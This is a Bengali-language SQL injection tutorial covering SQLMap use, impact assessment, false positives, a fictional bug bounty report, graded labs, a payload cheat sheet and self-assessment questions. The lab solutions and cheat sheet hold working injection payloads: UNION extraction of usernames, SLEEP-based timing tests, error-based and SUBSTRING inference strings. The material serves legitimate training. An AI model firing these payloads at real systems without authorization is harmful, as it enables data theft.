Second-order SQLi, জটিল multi-step workflow, কাস্টম authentication, বা business-logic-নির্ভর context-এ manual testing প্রায়ই automated scanner-এর চেয়ে ভালো ফল দেয় — কারণ এটি application-এর প্রকৃত প্রবাহ বোঝে, যেখানে scanner প্রতিটি parameter স্বতন্ত্রভাবে ট্রিট করে।
Automated Scanner-এর সুবিধা ও সীমাবদ্ধতা
| সুবিধা | সীমাবদ্ধতা |
|---|---|
| অনেক parameter দ্রুত কভার করা যায় | Context বোঝে না — false positive/negative তৈরি করতে পারে |
| পরিচিত payload pattern ধারাবাহিকভাবে পরীক্ষা করে | Multi-step/second-order SQLi সহজে মিস করে |
| Fingerprinting স্বয়ংক্রিয়ভাবে করতে পারে | WAF/rate-limit থাকলে ফলাফল অনির্ভরযোগ্য হতে পারে |
SQLMap কী এবং কখন ব্যবহার করা উচিত
SQLMap একটি ওপেন-সোর্স automated SQL injection detection ও exploitation টুল, যা একটি নির্দিষ্ট request (URL বা raw HTTP request ফাইল) দিয়ে প্রায় সব পরিচিত SQLi কৌশল (boolean, error, union, time-based, stacked) নিয়মতান্ত্রিকভাবে পরীক্ষা করে। এটি ব্যবহার করা উচিত যখন ইতিমধ্যে manual পরীক্ষায় injection-এর প্রাথমিক ইঙ্গিত পাওয়া গেছে এবং আরও নিয়মতান্ত্রিক, বিস্তারিত বিশ্লেষণ দরকার — শুরু থেকেই "scan and forget" পদ্ধতিতে ব্যবহার করা উচিত নয়।
Authorized Lab-এ Basic Usage Concepts
# একটি Burp দিয়ে সংরক্ষিত raw request ফাইল থেকে স্ক্যান করা
sqlmap -r saved_request.txt --batch --level=2 --risk=1
# --batch: প্রতিটি প্রশ্নে ডিফল্ট উত্তর নেয় (unattended মোডে চলার জন্য)
# --level/--risk: কতটা গভীর ও ঝুঁকিপূর্ণ টেস্ট চালানো হবে তা নিয়ন্ত্রণ করেউচ্চ --risk লেভেলে কিছু payload ডেটা পরিবর্তনকারী হতে পারে — তাই এগুলো শুধুমাত্র নিজের isolated lab-এ ব্যবহার করা উচিত, কখনো shared বা production ডেটাবেসে নয়।
Detection Output Interpretation
SQLMap "parameter 'id' is vulnerable" বলে রিপোর্ট করলেও, এর মানে হলো এটি একটি নির্দিষ্ট প্যাটার্নে response পার্থক্য পেয়েছে — এটিকে অন্ধভাবে বিশ্বাস না করে, নিজে manually সেই request পাঠিয়ে (অধ্যায় ০৬-এর পদ্ধতিতে) যাচাই করা উচিত।
False Positives
Rate limiting, dynamic content, বা network jitter থাকলে SQLMap ভুল সিদ্ধান্তে পৌঁছাতে পারে, বিশেষ করে time-based টেস্টে। --technique ফ্ল্যাগ দিয়ে শুধু নির্দিষ্ট কৌশল (যেমন শুধু boolean-based) চালিয়ে ফলাফল আরও নিয়ন্ত্রিত রাখা যায়।
Request Rate Control
--delay ও --threads প্যারামিটার দিয়ে request-এর গতি নিয়ন্ত্রণ করা যায় — authorized টেস্টিং-এও target সার্ভারে অতিরিক্ত লোড এড়াতে এটি গুরুত্বপূর্ণ।
Manual Confirmation
Tool যা শনাক্ত করেছে তার একটি ছোট অংশ (যেমন শুধু database version) নিজে Burp Repeater দিয়ে reproduce করে দেখুন — এটি নিশ্চিত করে যে ফলাফল tool-এর কোনো bug বা ভুল ব্যাখ্যা নয়।
Tool Output থেকে Report Evidence তৈরি করা
SQLMap-এর সম্পূর্ণ verbose লগ রিপোর্টে কপি-পেস্ট না করে, শুধু প্রাসঙ্গিক request/response জোড়া এবং সংক্ষিপ্ত ব্যাখ্যা উদ্ধৃত করুন — পাঠক (triager) হিসেবে প্রোগ্রামের রিভিউয়ারের জন্য এটি অনেক বেশি কার্যকর (অধ্যায় ১৯)।
কেন Tool Output একাই Final Proof নয়
একটি automated টুলের "vulnerable" লেবেল কোনো বাইন্ডিং প্রমাণ নয় — এটি একটি hypothesis, যা manual verification, reproducibility যাচাই, এবং impact assessment দিয়ে confirm করতে হয় মানবিক বিচার দিয়ে, শুধু টুলের আউটপুটের উপর নির্ভর করে নয়।
সারসংক্ষেপ
Automated টুল (যেমন SQLMap) দ্রুত ব্যাপক কভারেজ দেয়, কিন্তু context-blind এবং false positive/negative-এর ঝুঁকিতে ভোগে। Manual verification, নিয়ন্ত্রিত request rate, এবং সুনির্দিষ্ট evidence তৈরি — এই তিনটিই responsible automation-এর মূল স্তম্ভ।
SQL Injection Impact
Confidentiality, integrity, availability এবং বাস্তবসম্মত business impact assessment।
Confidentiality, Integrity ও Availability (CIA Triad)
Confidentiality
Unauthorized data access — যেমন অন্য ইউজারের ব্যক্তিগত তথ্য, পাসওয়ার্ড হ্যাশ, বা ব্যবসায়িক গোপন ডেটা পড়া।
Integrity
Data modification — অর্ডার স্ট্যাটাস, মূল্য, বা অ্যাকাউন্ট ব্যালেন্স অননুমোদিতভাবে পরিবর্তন করা।
Availability
ডেটা মুছে ফেলা (DROP/DELETE) বা ভারী query দিয়ে ডেটাবেস ওভারলোড করে সার্ভিস ব্যাহত করা।
Unauthorized Data Access ও Authentication Bypass
UNION-based বা blind SQLi দিয়ে অন্য ইউজারের ডেটা পড়া, বা একটি injectable login query দিয়ে পরিচয় যাচাই এড়িয়ে যাওয়া — এই দুটোই confidentiality-এর সরাসরি লঙ্ঘন।
Data Modification ও Privilege Escalation-এর সম্ভাব্য সম্পর্ক
Stacked queries সক্ষম হলে, attacker তাত্ত্বিকভাবে নিজের ইউজার রেকর্ডের role কলাম সরাসরি UPDATE করে admin বানাতে পারে — এটি privilege escalation-এর একটি সরাসরি পথ, কিন্তু বাস্তবে এটি database account-এর প্রকৃত privilege-এর উপর নির্ভরশীল।
Database Privilege-এর গুরুত্ব
Application-এর database account যদি শুধুমাত্র নির্দিষ্ট টেবিলে read access রাখে, তাহলে একই SQLi vulnerability থাকা সত্ত্বেও impact অনেক সীমিত থাকবে, একটি admin-level account-এর তুলনায় যার সব টেবিলে full access আছে — এই কারণেই least-privilege নীতি (অধ্যায় ১৭) এত গুরুত্বপূর্ণ।
Sensitive Data Exposure
Impact নির্ণয়ে বিবেচনা করুন কী ধরনের ডেটা সংরক্ষিত আছে — ব্যক্তিগত তথ্য (PII), আর্থিক তথ্য, স্বাস্থ্য তথ্য, বা প্রমাণীকরণ ক্রেডেনশিয়াল — এগুলোর sensitivity যত বেশি, impact তত বেশি গুরুতর বিবেচিত হয়।
Business Impact Assessment ও Blast Radius
Blast radius বলতে বোঝায় একটি vulnerability-এর প্রভাব ঠিক কতদূর পর্যন্ত বিস্তৃত হতে পারে — শুধু একটি টেবিল, নাকি পুরো ডেটাবেস; শুধু একটি মাইক্রোসার্ভিস, নাকি shared ডেটাবেস কানেকশনের মাধ্যমে একাধিক সার্ভিস। একটি shared database account ব্যবহার করা আর্কিটেকচারে একটি ছোট SQLi-ও বড় blast radius তৈরি করতে পারে।
Least Privilege — Impact কমানোর মূল কৌশল
Impact assessment করার সময় সবসময় প্রশ্ন করুন: "যদি database account-টি least-privilege নীতিতে কনফিগার করা থাকত, তাহলে এই নির্দিষ্ট SQLi দিয়ে সর্বোচ্চ কী করা সম্ভব হতো?" — এটি বাস্তবসম্মত severity নির্ধারণে সাহায্য করে।
Safe Proof-of-Concept তৈরির নিয়ম
- Database version বা একটি non-sensitive টেবিলের নাম যথেষ্ট প্রমাণ — পুরো টেবিল ডাম্প করার প্রয়োজন নেই।
- Write/delete-ক্ষমতা থাকলেও কখনো প্রকৃত ডেটা পরিবর্তন/মোছা করে প্রমাণ দেখাবেন না — একটি non-destructive সংকেত (যেমন timing difference) ব্যবহার করুন।
- যদি একাধিক ইউজারের ডেটা দেখা সম্ভব হয়, শুধুমাত্র নিজের বা একটি synthetic test অ্যাকাউন্টের ডেটা দিয়ে প্রমাণ দেখান।
বাস্তব Impact প্রমাণ করতে অতিরিক্ত ডেটা সংগ্রহ কেন প্রয়োজন হয় না
একটি প্রোগ্রাম রিভিউয়ারকে বোঝাতে পুরো ইউজার টেবিল ডাউনলোড করার প্রয়োজন নেই — "আমি দেখিয়েছি যে এই query দিয়ে users টেবিলের যেকোনো কলাম পড়া সম্ভব, এখানে একটি উদাহরণ (database version) আছে" — এটুকুই severity-নির্ধারণের জন্য যথেষ্ট প্রমাণ, এবং এটি অপ্রয়োজনীয় ডেটা এক্সপোজারের ঝুঁকিও এড়ায়।
সারসংক্ষেপ
SQLi-এর impact নির্ভর করে database privilege, সংরক্ষিত ডেটার sensitivity, এবং আর্কিটেকচারাল blast radius-এর উপর। দায়িত্বশীল proof-of-concept সবসময় ন্যূনতম প্রয়োজনীয় প্রমাণ ব্যবহার করে, অতিরিক্ত ডেটা সংগ্রহ বা destructive কাজ এড়িয়ে।
Knowledge-check
- Least-privilege database account কীভাবে একই vulnerability-এর impact কমায়?
- Blast radius বলতে কী বোঝানো হয়েছে?
- কেন পুরো ডেটাবেস ডাম্প করা সাধারণত অপ্রয়োজনীয়?
False Positives ও Troubleshooting
কখন একটি ফলাফল SQLi-এর প্রমাণ নয়, এবং নিশ্চিত না হলে কী করা উচিত।
Quote দিলেই SQLi প্রমাণ হয় না কেন
একটি single quote পাঠানোর পর response পরিবর্তিত হওয়া মানেই injection — এই ধারণা ভুল। Quote যেকোনো কারণে response পরিবর্তন করতে পারে: input validation ফ্রেমওয়ার্ক quote থাকা input প্রত্যাখ্যান করতে পারে (SQLi ছাড়াই), বা HTML rendering-এ সমস্যা তৈরি করতে পারে (XSS-related, SQLi নয়)।
সাধারণ False-Positive উৎসসমূহ
| উৎস | কেন বিভ্রান্তিকর | কীভাবে বাদ দেবেন |
|---|---|---|
| Generic HTTP 500 error | SQL-নির্দিষ্ট তথ্য ছাড়াই যেকোনো unhandled exception-এ ঘটতে পারে | Error message-এ database engine-এর নাম/syntax আছে কি না দেখুন |
| WAF block page | WAF নিজের signature-এ মিলেছে বলেই ব্লক করে, backend vulnerable কি না তার সাথে সম্পর্কহীন | WAF bypass ছাড়াই backend সরাসরি পরীক্ষা করুন, বা response header/body-তে WAF-এর নিজস্ব ব্র্যান্ডিং আছে কি না দেখুন |
| Rate limiting | অনেক দ্রুত request পাঠালে ৪২৯/৫০৩ response আসতে পারে, যা condition-নির্ভর নয় | Request-এর মধ্যে বিরতি দিয়ে পুনরায় পরীক্ষা করুন |
| Caching | CDN/server cache আগের response দেখাতে পারে, যা বর্তমান condition প্রতিফলিত করে না | Cache-busting parameter যোগ করুন বা cache-control header পরীক্ষা করুন |
| Network latency | সাধারণ নেটওয়ার্ক ওঠানামা time-based টেস্টে delay-এর মতো দেখাতে পারে | একাধিকবার (৩–৫ বার) measurement নিয়ে গড় ও consistency যাচাই করুন |
| Dynamic content | ভিজিটর কাউন্টার, টাইমস্ট্যাম্প প্রতিবার response আলাদা করে তোলে | Content-এর শুধু প্রাসঙ্গিক অংশ (যেমন প্রোডাক্ট তালিকা) তুলনা করুন, পুরো body নয় |
| Session expiration | Session timeout হলে response হঠাৎ ভিন্ন (লগইন পেজে রিডাইরেক্ট) হতে পারে | Session এখনো বৈধ কি না আগে নিশ্চিত করুন |
| Database error leakage (unrelated) | কোনো connection/timeout সমস্যা থেকেও database-সম্পর্কিত error আসতে পারে, input-এর কারণে নয় | বেসলাইন রিকোয়েস্টেও একই error আসে কি না পরীক্ষা করুন |
| Client-side validation | JavaScript validation ব্লক করলে request-ই সার্ভারে পৌঁছায় না | Burp দিয়ে সরাসরি সার্ভারে request পাঠান, ব্রাউজার ফর্ম এড়িয়ে |
| Parameter ignored হওয়া | কিছু parameter backend সম্পূর্ণ উপেক্ষা করে, তাই কোনো পরিবর্তনই response-কে প্রভাবিত করে না | একটি সুনিশ্চিতভাবে ব্যবহৃত value (যেমন স্বাভাবিক id) দিয়ে প্রথমে নিশ্চিত করুন parameter আদৌ প্রভাব ফেলে কি না |
| Timing-based false positives | সার্ভার লোড বা থার্ড-পার্টি API কল থেকেও delay আসতে পারে | False condition-এর সাথে বারবার তুলনা করুন |
Repeatability Test
যেকোনো সংকেত অন্তত দু'বার, একই শর্তে পুনরুৎপাদন করুন। যদি একবার দেখা যায় কিন্তু পরেরবার না, তাহলে এটি সম্ভবত নয়েজ (noise), প্রকৃত সংকেত নয়।
Confidence Level নির্ধারণ
উচ্চ আস্থা
Database-নির্দিষ্ট error + পুনরুৎপাদনযোগ্য + input-এর সাথে যৌক্তিক সম্পর্ক
মাঝারি আস্থা
সামঞ্জস্যপূর্ণ boolean/timing পার্থক্য, কিন্তু সরাসরি error/ডেটা নেই
নিম্ন আস্থা
একবার দেখা গেছে এমন পার্থক্য, পুনরুৎপাদন অনিশ্চিত
Vulnerability নিশ্চিত না হলে Report না করার নিয়ম
নিম্ন-আস্থার সংকেত নিয়ে রিপোর্ট জমা দেওয়া উচিত না — এটি রিভিউয়ারের সময় নষ্ট করে এবং প্রোগ্রামের সাথে সম্পর্ক ক্ষতিগ্রস্ত করতে পারে। নিশ্চিত না হলে, আরও যাচাই করুন বা প্রয়োজনে সেই ক্ষেত্রটি বাদ দিন। "সম্ভাব্য" বলে কিছু রিপোর্ট করতে হলে স্পষ্টভাবে confidence level এবং কেন নিশ্চিত হওয়া যায়নি তা উল্লেখ করুন।
অনুশীলন
একটি lab পরিবেশে ইচ্ছাকৃতভাবে একটি false positive তৈরি করুন (যেমন ভিজিটর কাউন্টার দেখানো একটি পেজে boolean টেস্ট চালিয়ে) এবং লিখুন কীভাবে আপনি নিশ্চিত হলেন এটি আসলে injection নয়।
সারসংক্ষেপ
অনেক পরিবেশগত কারণ (caching, rate limiting, dynamic content, latency) SQLi-এর মতো দেখতে পার্থক্য তৈরি করতে পারে। Repeatability যাচাই এবং confidence level স্পষ্টভাবে নির্ধারণ করাই নির্ভরযোগ্য সিদ্ধান্তের একমাত্র উপায়।
Bug Bounty Reporting
একটি professional SQL Injection রিপোর্টের কাঠামো, এবং একটি সম্পূর্ণ fictional উদাহরণ।
রিপোর্টের কাঠামো
- Title: সংক্ষিপ্ত, নির্দিষ্ট — "SQL Injection in X" টাইপ, অস্পষ্ট শব্দ এড়িয়ে।
- Summary: ২–৩ বাক্যে কী ভুল আছে এবং কেন গুরুত্বপূর্ণ।
- Affected endpoint: সম্পূর্ণ URL/API path।
- Vulnerable parameter: ঠিক কোন field/parameter।
- Preconditions: authentication লাগে কি না, নির্দিষ্ট role লাগে কি না।
- Steps to reproduce: ধাপে ধাপে, যেকেউ অনুসরণ করে পুনরুৎপাদন করতে পারে এমনভাবে।
- Safe proof of concept: ন্যূনতম, non-destructive প্রমাণ।
- Expected বনাম actual behavior।
- Evidence: request/response, স্ক্রিনশট।
- Security impact: বাস্তবসম্মত ঝুঁকি ব্যাখ্যা।
- Severity justification: CVSS বা প্রোগ্রামের নিজস্ব স্কেল অনুযায়ী যুক্তি।
- Recommended remediation।
- Retest steps: ফিক্সের পর কীভাবে যাচাই করা যাবে।
সম্পূর্ণ ফিকশনাল উদাহরণ রিপোর্ট দেখুন
Title
Boolean-Based Blind SQL Injection in /api/v1/orders status Parameter (ShopMock)
Summary
The status query parameter on the order-listing endpoint is not parameterized, allowing an authenticated user to inject boolean conditions that alter the SQL query executed against the orders table. This allows inference of data outside the requesting user's own order records.
Affected Endpoint
GET https://shopmock.example/api/v1/orders?status=shippedVulnerable Parameter
status (query string)
Preconditions
একটি স্বাভাবিক, authenticated customer অ্যাকাউন্ট যথেষ্ট — কোনো elevated privilege প্রয়োজন নেই।
Steps to Reproduce
- নিজের অ্যাকাউন্টে লগইন করুন এবং Burp Proxy চালু রাখুন।
GET /api/v1/orders?status=shippedrequest পাঠান এবং response রেকর্ড করুন (baseline)।- একই request
status=shipped' AND '1'='1দিয়ে পাঠান → response baseline-এর মতোই (true condition)। - একই request
status=shipped' AND '1'='2দিয়ে পাঠান → response খালি তালিকা দেখায় (false condition)। - উভয় টেস্ট দু'বার পুনরাবৃত্তি করে সামঞ্জস্যপূর্ণতা নিশ্চিত করা হয়েছে।
Safe Proof of Concept
GET /api/v1/orders?status=shipped' AND SUBSTRING(@@version,1,1)='5
→ Response "true" (baseline-এর মতো) নিশ্চিত করে যে ইনস্টল করা
MySQL version "5"-এ শুরু হয়। অতিরিক্ত কোনো ডেটা বের করা হয়নি।Expected বনাম Actual
Expected: status parameter শুধুমাত্র পূর্বনির্ধারিত মান (shipped/pending/cancelled) গ্রহণ করবে এবং অন্য যেকোনো ইনপুটে ত্রুটিমুক্তভাবে খালি/ভুল-অনুরোধ response দেবে। Actual: ইনপুট সরাসরি SQL query-তে ব্যবহৃত হচ্ছে, এবং condition-ভিত্তিক response পার্থক্য তৈরি করছে।
Evidence
[এখানে Burp Repeater-এর তিনটি request/response জোড়ার স্ক্রিনশট/raw টেক্সট যুক্ত থাকবে — baseline, true condition, false condition।]
Security Impact
একজন attacker এই কৌশল সম্প্রসারিত করে ধীরে ধীরে database structure এবং সম্ভবত অন্য ইউজারের অর্ডার ডেটা (যদি query অন্য টেবিলের সাথে জয়েন করে) অনুমান করতে পারে, যদিও এই PoC-তে শুধুমাত্র database version নিশ্চিত করা হয়েছে যাতে অপ্রয়োজনীয় ডেটা এক্সপোজার এড়ানো যায়।
Severity Justification
CVSS 3.1 ভিত্তিতে আনুমানিক: AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N ≈ High (৭.১) — authenticated access প্রয়োজন (PR:L) কিন্তু confidentiality impact উচ্চ, integrity/availability impact নিশ্চিত করা যায়নি এই PoC-তে।
Recommended Remediation
status parameter-এর জন্য parameterized query ব্যবহার করুন, এবং/অথবা একটি allowlist (shipped/pending/cancelled) দিয়ে মান যাচাই করুন — অধ্যায় ১৭ দেখুন।
Retest Steps
Fix-এর পর ধাপ ৩–৪ পুনরাবৃত্তি করুন — true ও false condition-এ response অভিন্ন হওয়া উচিত (উভয় ক্ষেত্রেই শুধু বৈধ অর্ডার তালিকা, বা উভয়ক্ষেত্রেই ৪০০ Bad Request)।
লক্ষ্য করুন রিপোর্টে কোনো প্রকৃত ইউজার ডেটা ডাম্প করা হয়নি — শুধুমাত্র database version নিশ্চিত করা হয়েছে, যা impact প্রমাণের জন্য যথেষ্ট (অধ্যায় ১৬)।
সারসংক্ষেপ
একটি ভালো রিপোর্ট reproducible, নির্দিষ্ট, এবং ন্যূনতম প্রয়োজনীয় প্রমাণ ব্যবহার করে — অতিরিক্ত ডেটা সংগ্রহ বা destructive action ছাড়াই severity ও impact স্পষ্টভাবে যুক্তিসহ উপস্থাপন করে।
Practical Labs ও Exercises
Beginner, intermediate ও advanced স্তরে হাতে-কলমে অনুশীলন — প্রতিটিতে objective, scenario, hint, সমাধান ও remediation।
Roadmap: এই অনুশীলনগুলো করার আগে/পরে, PortSwigger Web Security Academy-এর SQL Injection labs এবং OWASP Juice Shop-এর মতো অনুমোদিত, বিনামূল্যের training environment-এ অনুশীলন করুন — এগুলো নিরাপদভাবে, আইনিভাবে practice করার জন্য তৈরি।
🟢 Beginner Lab ১ — Error-Based Discovery
Learning objective: single-quote probe দিয়ে injection শনাক্ত করা শিখুন।
Lab setup: একটি local PHP+MySQL অ্যাপ্লিকেশন (ধারণাগত "ShopMock") যেখানে /product?id= parameter verbose error দেখায়।
Scenario: প্রোডাক্ট পেজে id parameter পরীক্ষা করুন।
Task: নিশ্চিত করুন id parameter injectable কি না।
Hint: অধ্যায় ০৩-এর error-based সেকশন দেখুন — single quote পাঠিয়ে শুরু করুন।
Expected observation ও সমাধান দেখুন
Expected observation: id=7' পাঠালে একটি MySQL syntax error দেখা যাবে।
সমাধান: GET /product?id=7' → error "You have an error in your SQL syntax near '''"। এটি নিশ্চিত করে input query-তে unescaped পৌঁছাচ্ছে।
কেন কাজ করে: quote query-এর string literal ভেঙে দেয়, যা backend sanitize করছে না।
Common mistakes: শুধু HTTP 500 দেখেই injection ধরে নেওয়া — error message-এর বিষয়বস্তু নিশ্চিত করতে হবে এটি SQL-নির্দিষ্ট কি না।
Remediation: parameterized query + generic error page (অধ্যায় ১৭)।
🟢 Beginner Lab ২ — Boolean Condition যাচাই
Objective: true/false condition দিয়ে একটি confirm injection তৈরি করা।
Scenario: একটি সার্চ ফিচার, যা error দেখায় না (suppressed)।
Task: AND 1=1 ও AND 1=2 ব্যবহার করে injection নিশ্চিত করুন।
Hint: দুটো request-এর response length তুলনা করুন।
সমাধান দেখুন
?q=laptop' AND '1'='1 → স্বাভাবিক ফলাফল। ?q=laptop' AND '1'='2 → খালি ফলাফল। এই পার্থক্যই নিশ্চিত প্রমাণ, কারণ condition ছাড়া কোনো কারণ নেই ফলাফল ভিন্ন হওয়ার।
Self-assessment: আপনি কি দুইবার পরীক্ষা করে consistency নিশ্চিত করেছেন?
🟡 Intermediate Lab ১ — UNION দিয়ে Column Count ও ডেটা বের করা
Objective: সম্পূর্ণ UNION-based workflow অনুশীলন করা।
Scenario: একটি প্রোডাক্ট পেজ যা database query-এর ফলাফল সরাসরি দেখায়।
Task: column count বের করুন, তারপর users টেবিল থেকে username দেখান।
Hint: ORDER BY দিয়ে শুরু করুন, তারপর UNION SELECT NULL,...।
সমাধান দেখুন
?id=7 ORDER BY 3-- (ঠিক)
?id=7 ORDER BY 4-- (error) → ৩ কলাম
?id=-1 UNION SELECT NULL,username,NULL FROM users--কেন কাজ করে: id=-1 মূল query-কে কোনো সারি না দেওয়ায় বাধ্য করে, ফলে শুধু UNION-এর ফলাফল দেখা যায়।
Common mistakes: column count ভুল অনুমান করে সরাসরি ডেটা বের করার চেষ্টা করা, যার ফলে error আসে এবং বিভ্রান্তি তৈরি হয়।
Remediation: parameterized query (অধ্যায় ১৭)।
🟡 Intermediate Lab ২ — Time-Based Blind
Objective: কোনো visible channel ছাড়াই injection প্রমাণ করা।
Scenario: response সবসময় identical দেখায়, কোনো error/content পার্থক্য নেই।
Task: time-based payload দিয়ে injection নিশ্চিত করুন।
সমাধান দেখুন
?id=7 AND IF(1=1,SLEEP(5),0)-- → ~৫ সেকেন্ড দেরি
?id=7 AND IF(1=2,SLEEP(5),0)-- → তাৎক্ষণিক responseSelf-assessment: আপনি কি অন্তত ৩ বার পরিমাপ করে গড় নিয়েছেন নেটওয়ার্ক শব্দ বাদ দিতে?
🔴 Advanced Lab — Second-Order SQLi
Objective: একটি multi-step workflow-এ second-order injection শনাক্ত করা।
Scenario: প্রোফাইল আপডেট ফর্মে একটি "bio" ফিল্ড আছে, যা সরাসরি কোনো প্রভাব ফেলে না, কিন্তু অ্যাডমিন রিপোর্ট পেজে পরে ব্যবহৃত হয়।
Task: bio ফিল্ডে একটি payload সংরক্ষণ করুন এবং রিপোর্ট পেজে প্রভাব আছে কি না পরীক্ষা করুন।
Hint: সরাসরি profile page-এ কোনো পরিবর্তন নাও দেখা যেতে পারে — ডেটা পরে কোথায় ব্যবহৃত হয় তা ম্যাপ করুন।
সমাধান দেখুন
Bio ফিল্ডে test' AND '1'='1 সংরক্ষণ করার পর, রিপোর্ট পেজ সেই মান কোনো query-তে ব্যবহার করলে boolean-based পার্থক্য দেখা যেতে পারে — মূল চ্যালেঞ্জ হলো সংরক্ষণ-পয়েন্ট ও ব্যবহার-পয়েন্ট আলাদা হওয়ায় এটি সরাসরি দেখা কঠিন।
Common mistakes: শুধু save করার পরের response দেখে "কোনো প্রভাব নেই" সিদ্ধান্তে পৌঁছানো, অথচ প্রভাব অন্য কোথাও (পরে) ঘটছে।
Remediation: সব query-পয়েন্টে parameterization নিশ্চিত করা, শুধু entry-পয়েন্টে নয়।
সারসংক্ষেপ
প্রতিটি দক্ষতার স্তরে হাতে-কলমে অনুশীলন তত্ত্বকে বাস্তব অভিজ্ঞতায় রূপান্তর করে। PortSwigger Web Security Academy ও OWASP Juice Shop-এর মতো অনুমোদিত পরিবেশে নিয়মিত practice চালিয়ে যাওয়া উচিত।
SQLi Cheat Sheet
একটি দ্রুত, categorized রেফারেন্স — প্রতিটি entry-এর সাথে DBMS, উদ্দেশ্য ও সীমাবদ্ধতা।
SQL Syntax Quick Reference
| Operation | Syntax |
|---|---|
| Comment out rest of query | -- (MySQL-এ স্পেসসহ), # (MySQL only) |
| Always-true condition | OR '1'='1 / OR 1=1 |
| Subquery count check | (SELECT COUNT(*) FROM table) |
DBMS Differences
| MySQL | PostgreSQL | MSSQL | Oracle | SQLite | |
|---|---|---|---|---|---|
| Concat | CONCAT(a,b) | a||b | a+b | a||b | a||b |
| Version | @@version | version() | @@version | v$version | sqlite_version() |
| Delay | SLEEP(n) | pg_sleep(n) | WAITFOR DELAY | DBMS_LOCK.SLEEP(n) | নেই |
| No-table SELECT | হ্যাঁ | হ্যাঁ | হ্যাঁ | FROM dual দরকার | হ্যাঁ |
Quote ও Comment আচরণ
- String literal: single quote (সব DBMS-এ)
- Identifier quoting: MySQL = backtick (
`), PostgreSQL/Oracle/SQLite = double quote, MSSQL = square bracket ([ ]) - MySQL-এ
---এর পর বাধ্যতামূলক স্পেস/নিউলাইন প্রয়োজন
Boolean Conditions
AND 1=1 / AND 1=2
' AND '1'='1 / ' AND '1'='2
AND (SELECT 1)=1UNION Testing কুইক-স্টেপ
ORDER BY N--দিয়ে column count বের করুনUNION SELECT NULL,NULL,...--দিয়ে alignment যাচাই- প্রতিটি NULL-কে একটি marker স্ট্রিং দিয়ে বদলে display-হওয়া কলাম শনাক্ত করুন
Error-Based Tests (সংক্ষিপ্ত)
-- MySQL
EXTRACTVALUE(1,CONCAT(0x7e,(SELECT version())))
-- MSSQL
CONVERT(int,(SELECT TOP 1 username FROM users))Blind Testing Quick Reference
SUBSTRING((SELECT x),1,1)='a'
ASCII(SUBSTRING((SELECT x),1,1))>100Timing Tests
| DBMS | Payload |
|---|---|
| MySQL | IF(cond,SLEEP(5),0) |
| PostgreSQL | CASE WHEN cond THEN pg_sleep(5) ELSE pg_sleep(0) END |
| MSSQL | IF cond WAITFOR DELAY '0:0:5' |
Encoding Concepts
- URL encode:
'→%27, স্পেস →%20/+,#→%23 - Hex string literal (MySQL):
0x61='a'
Common Troubleshooting
| লক্ষণ | সম্ভাব্য কারণ |
|---|---|
| কোনো পার্থক্য নেই | Parameter ignored, বা ইতিমধ্যে parameterized |
| সব request-এ error | WAF/rate-limit, বেসলাইনও পুনরায় যাচাই করুন |
| অসামঞ্জস্যপূর্ণ ফলাফল | Caching বা dynamic content — অধ্যায় ১৮ দেখুন |
Defensive Code Pattern (দ্রুত স্মরণ)
// নিরাপদ প্যাটার্ন — সব ভাষায় একই নীতি
query = "SELECT ... WHERE col = ?"
execute(query, [userInput]) // placeholder + আলাদা values arrayসারসংক্ষেপ
এই cheat sheet দ্রুত স্মরণের জন্য — গভীর ব্যাখ্যার জন্য সংশ্লিষ্ট অধ্যায়ে ফিরে যান (অধ্যায় ০৩, ০৫, ০৮, ১৭)।
Learning Roadmap ও Assessment
Beginner থেকে advanced হওয়ার পথ, দৈনিক practice plan, এবং সম্পূর্ণ self-assessment (৫০+২৫+১৫ প্রশ্ন, answer key সহ)।
Beginner থেকে Advanced Learning Order
- অধ্যায় ০১–০২: SQL ও SQLi fundamentals
- অধ্যায় ০৩: প্রধান ধরনগুলো (error, UNION, blind)
- অধ্যায় ০৬–০৭: manual methodology ও Burp Suite
- অধ্যায় ০৪–০৫: কোথায় টেস্ট করতে হয়, payload handbook
- অধ্যায় ০৮–১১: fingerprinting ও গভীর টেকনিক
- অধ্যায় ১৭–১৮: prevention ও false-positive handling (সবসময় প্রাসঙ্গিক, তাড়াতাড়ি পড়া ভালো)
- অধ্যায় ১২–১৬: WAF, business logic, API, automation, impact
- অধ্যায় ১৯–২২: reporting, labs, cheat sheet, assessment
প্রয়োজনীয় SQL Fundamentals (Checklist)
- ☐ SELECT/WHERE/ORDER BY/JOIN লিখতে ও পড়তে পারেন
- ☐ Primary/foreign key বোঝেন
- ☐ String বনাম numeric data type-এর পার্থক্য বোঝেন
- ☐ Parameterized query কী তা ব্যাখ্যা করতে পারেন
দৈনিক Practice Plan (নমুনা, ৪ সপ্তাহ)
| সপ্তাহ | ফোকাস | দৈনিক সময় |
|---|---|---|
| ১ | SQL fundamentals + অধ্যায় ০১–০৩ | ৪৫–৬০ মিনিট |
| ২ | Burp Suite + manual methodology + beginner labs | ৬০ মিনিট |
| ৩ | Blind/UNION গভীর practice + intermediate labs | ৬০–৯০ মিনিট |
| ৪ | Prevention, reporting, advanced lab, mock assessment | ৬০ মিনিট |
Weekly Milestone
- সপ্তাহ ১ শেষে: নিজে একটি vulnerable query লিখে ব্যাখ্যা করতে পারা।
- সপ্তাহ ২ শেষে: Burp দিয়ে স্বাধীনভাবে একটি lab endpoint-এ baseline/test তুলনা করতে পারা।
- সপ্তাহ ৩ শেষে: PortSwigger-এর অন্তত ৩টি SQLi lab সম্পূর্ণ করা।
- সপ্তাহ ৪ শেষে: একটি সম্পূর্ণ ফরম্যাটে (অধ্যায় ১৯) একটি practice রিপোর্ট লেখা।
৫০টি Conceptual Question
- Database ও table-এর মধ্যে পার্থক্য কী?
- Primary key ও foreign key-এর সংজ্ঞা দিন।
- String ও integer value quote ব্যবহারে কীভাবে আলাদা?
- SQL Injection-এর সংজ্ঞা দিন।
- SQLi-এর মূল root cause কী?
- Query context বলতে কী বোঝায়?
- String context ও numeric context-এর মধ্যে পার্থক্য কী?
- SQLi ও XSS-এর মূল পার্থক্য কী?
- SQLi ও IDOR-এর মূল পার্থক্য কী?
- Error-based SQLi কী?
- UNION-based SQLi-তে column count কেন গুরুত্বপূর্ণ?
- NULL কেন UNION alignment-এ ব্যবহৃত হয়?
- Boolean-based blind SQLi কীভাবে কাজ করে?
- Time-based blind SQLi কখন ব্যবহার করা হয়?
- Stacked queries কী?
- সব database-এ stacked queries সমর্থিত কি না?
- Second-order SQLi কী?
- In-band ও out-of-band SQLi-এর পার্থক্য কী?
- Content-based inference কী?
- ORDER BY injection কেন ভিন্ন ধরনের payload দাবি করে?
